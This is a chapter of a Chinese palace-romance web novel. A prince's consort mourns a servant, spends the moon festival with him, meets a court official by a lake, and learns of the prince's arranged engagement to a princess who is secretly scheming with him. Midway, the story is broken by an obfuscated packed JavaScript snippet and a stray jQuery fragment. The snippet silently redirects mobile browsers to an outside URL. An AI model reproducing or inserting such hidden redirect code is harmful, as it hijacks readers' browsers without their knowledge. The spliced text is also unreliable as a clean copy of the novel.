姜易水走在嘉王身后,她脚步凌乱,直到张桉回来禀告已经安葬好田妈并安抚过她的家人,才缓缓回神。
无论是从前还是现在第一次见这样凄惨的场景,有人躺在她的怀中,身体慢慢变凉,安静地死去,田妈身上多处伤痕,若是她早来一步也不会这样,若是她不足够弱小或许,能帮田妈报仇。
张桉赶来马车,外面的风吹得格外清醒,四周都飘着芬芳馥郁味,她还不想回去。嘉王把人放在马车里,拉下车帘便跳了下来。
“带曾大娘子回府,好好看着。”
张桉有些惊诧,“王爷您不回去吗?”万一被有心人看到...
“不了,你快回去吧。”
姜易水抬头看着嘉王道:“殿下,您还是回去吧,这里人多眼杂,万一有人伤着你..”她欲言又止网进那幽深的双眸,只有她一人。他好似有些微恼,又好似有些无奈。
“今日我们两人,一起过次拜月节。”嘉王牵起姜易水的手,大手紧紧裹着她。
刚发生了那种事,她只想静一静,想抽出手却被他牢牢攥住。
“张桉,好好送曾大娘子回去。”
两人都穿着一身月白衣袍,走在街上显得也不太起眼,嘉王拉着她走到一条湖旁,不少姑娘家在这里放河灯许愿。
“她们都是从朔州来的百姓,年纪轻轻就落得无家可归。”他声音温柔,看向湖面漂起的河灯,“田妈也是朔州人,张桉没有找到田妈的家人,她舍身救曾大娘估计是把自己的命与曾大娘系到一起,不分彼此。”
阴云退散,这里月色如白玉般明亮,撒在湖面上,百姓们都来这里赏月。
姜易水双眸明亮,泪水在眼眶里打转。
他又轻笑道:“前日你说的‘替身’不会…是在吃醋吧?”
“没有。”姜易水立即否认,她擦干眼泪,脸色红润又气鼓鼓的样子很是可爱,没想到那日山洞睡梦中喊的南南,是自己,怪不得总觉哪里听过,她一脸窘态,此刻真是无地自容。
手里拿着捡到的河灯,红着脸去了湖边说道:“我去放河灯。”
嘉王脸上带笑,看着她背影。
姜易水学着别人放完河灯许愿的样子,无意间看见一道熟悉的身影,脸上有道疤痕,声音也非常熟悉,这不是太华山那日遇到的黑衣人,她转身要向嘉王禀告。
却发现嘉王身边站着一位女子,那名女子衣着华贵,低头红着脸蛋不知在说什么,还不知道要不要过去,那女子眼巧看见了姜易水。
“你也在啊?”那女子冲着姜易水笑道。
嘉王见状向姜易水介绍那女子:“这是荣国府长乐郡主。”
“见过郡主。”这就是长乐郡主,先皇后亲弟弟的女儿,曾经与嘉王有过婚约,但不知为何取消了,听说荣王一直反对女儿嫁给嘉王。
“免礼,免礼!原来周回哥哥是在和佳人幽会,怪不得今天连拐杖也没拿。”
嘉王看了姜易水一眼轻笑说:“郡主今天自己一个人出来吗?”
“当然不是。”长乐郡主指了指身后。
嘉王脸色骤变,转头对姜易水说道:“易水,等我片刻,马上回来。”
姜易水点点头,身旁的长乐郡主便搂着嘉王走去。
姜易水在湖边发呆,看一对母子在河边放灯,小孩儿奶声奶气说:“娘亲,阿父什么时候回来,是不是跟那个坏女人在一起,不要章章了吗?”
女子脸上悲痛,但还要不停地安抚孩子。
姜易水心烦意乱,自己内心脆弱敏感什么时候到这种程度了,难道真是她动了心,心烦意乱间,拿起石子砸向湖内,惊动一池的鱼群。
“哎,姑娘这是遇到什么事非要拿这一池子鱼来撒气,好不容易偷闲在这里钓鱼...”姜易水望去,这声音好生熟悉,那人穿一身蓑衣,黑漆漆的一片只能借着月光询问。
“谁在那儿?”
“是你?”那声音有些惊奇。
姜易水有些害怕得退了半步“你是...谁?”
那黑乎乎的影子大步走来,脱下蓑衣说道:“在下张成生见过夫人。”
姜易水长呼一口气,没吓个半死“你..你怎么在这里钓鱼?”
张成生又一个弯腰作摄,姜易水赶忙扶着他道:“别别别,这里没人,不用在乎这些礼数。”
“是,小的在家里听烦了唠叨,所以这才出来找个清净的地方钓鱼。”他放下蓑衣“刚刚小的冒犯了殿下,还望殿下赎罪。”
姜易水幸灾乐祸笑道:“没事,方才听你说家里有人唠叨,莫非是张大嫂吧?”
张成生点点头“整日督促我赶紧成婚,好让她抱孙子,可眼下家国不宁,怎么跟若无其事的人一样。”
他心里竟有如此格局,以前还以为他只是偷闲养性的人。
张成生低垂双眸,只是一身抱负理想无法实现,自己的官职恐怕到殿前说话的资格都没有。
姜易水拍拍他宽厚的肩膀笑道:“别气馁,哪怕眼前再黑暗看不到希望,也要坚持到底,总有一天会成功的!”会成功的,总有一天她要变成京城最有名的医师,她要把自己学到知识帮到更多的人,自从开了医馆姜易水每日有十成的斗志。
张成生嘴角微微上扬,他拿出手帕擦去姜易水脸上的米糕,一块大大的又黏腻的东西。
姜易水脸一下子又红了,本来脸皮就薄,竟无人提醒她,她甚至还绕了湖两圈。
“你还笑……”
“殿下,你头上也有。”张成生指着脑袋。
“哪里?”
张成生比姜易水高出许多,那东西粘在头尖,为了不冒犯到,手臂绕到姜易水头后擦拭“怎么耳朵旁也有?”
“你别动,我来帮殿下擦试一下。”他啧得一声“头发粘在一起了,不过,好在刚刚洗过帕子。”
他修长的手指捞起一撮头发轻轻的擦拭,由于那撮头发太短,又在头中心往侧的地方,不由得贴近了几分。
手捏着她柔软的发丝,鼻尖有她身上甜甜的香味,从上往下看她的睫毛浓密纤长,一双乌瞳呆呆地望着他,两眼不经意间交汇,偷看被逮个正着。
他尴尬解释道:“以前…自己爱干净惯了,所以看见殿下头上,所以情不自禁…”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300351|152214||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“夫人?”
姜易水猛然转头一看,可头发还在别人手中,扯得头皮生疼。
是张桉。
张桉看了看张成生欲言又止的说:“夫人,王爷吩咐,让奴来接你。”
“殿下已经回府了吗?”
“还未…”
“不用接我,今晚我去城北院子里,已经好几日未去了。”姜易水说道。
张桉有些为难“这…不成啊,夫人,要是没把你接回去,奴会受罚的。”
张桉见她不信便撸起袖子伸出手臂,让她看手臂上的淤青,姜易水看着张桉一脸为难样,心又软了。
“夫人,你看奴大过节的,还要操心这个操心那个,奴还等着与家人团聚呢,你快跟我回去吧。”张桉忍不住发一顿牢骚。
“我知道了。”
张成生想上前却被张桉拦住“张廷尉……再靠近些就没命了…”
张成生紧握手中的巾帕,看着马车离去,空气中还存着她残留的香味。
他‘啪’的一下,打自己一耳光,不该自己惦记的,莫要再想,再看,清俊的脸上迅速红肿,看了一下手掌,扭扭头便走了。
姜易水回到府中,长乐郡主也在?
姜易水福了福礼,“长乐郡主,殿下。”
嘉王旁边多了根拐杖,与上回的更加精致,现在他一脸坦然。
“今天让你来,是要与你商量一些事情,以后郡主便住在府里。”
姜易水看向长乐,她脸色红润站在嘉王身旁。
“是…那妾身将偏殿收拾下。”
“已经收拾过了。”他主动解释道:“荣国公早就与圣上商讨过了,要将长乐郡主许配给我,明年……便完婚了。”
他看到她与别的男人在一起,自己一冲动便应下的。
长乐郡主安慰姜易水“圣上心软,给你保留侧妃之位,毕竟你的身份…”她没在说下去,姜易水也猜到一知半解。
他既然要娶别人,那她还留在这里做甚么。
“不必了。”这东西她也不需要。
言罢,便开了门走出书房。
直到脚步声离远,嘉王一下推开长乐,掰开她的手。
“殿下,这是做什么,不是说好了合作么?你这样跑出去可全都露馅了。”刚刚脸红害羞的模样瞬间变得冰冷,长乐有些诧异“我的周回哥哥竟也会喜欢人?”真是稀奇,从前那么多美丽女子,他都看不屑一眼,现在喜欢一个长相那么普通的一个女人。
“你父亲为何突然同意这件婚事,真的只是你的一厢情愿打动了圣上?”他讥笑道:“你看起来不像是用情的女子。”
“我想要做这天下最尊贵,最有权利的女人。”她笑着说:“怎么?只许你们男人争权吗?况且你一直装瘸,不就是为了皇位。”
她掏出密信“这封信,是我的侍卫拿到的,今日曾大娘子好端端的出逃,又正巧在湖边被我和父亲看见,难道不是你安排好的?”
嘉王想夺却抓了个空,她又笑道:“这封信不是原件,真正的我已经放了起来,只要你好好配合,这件事我会烂在肚子里。”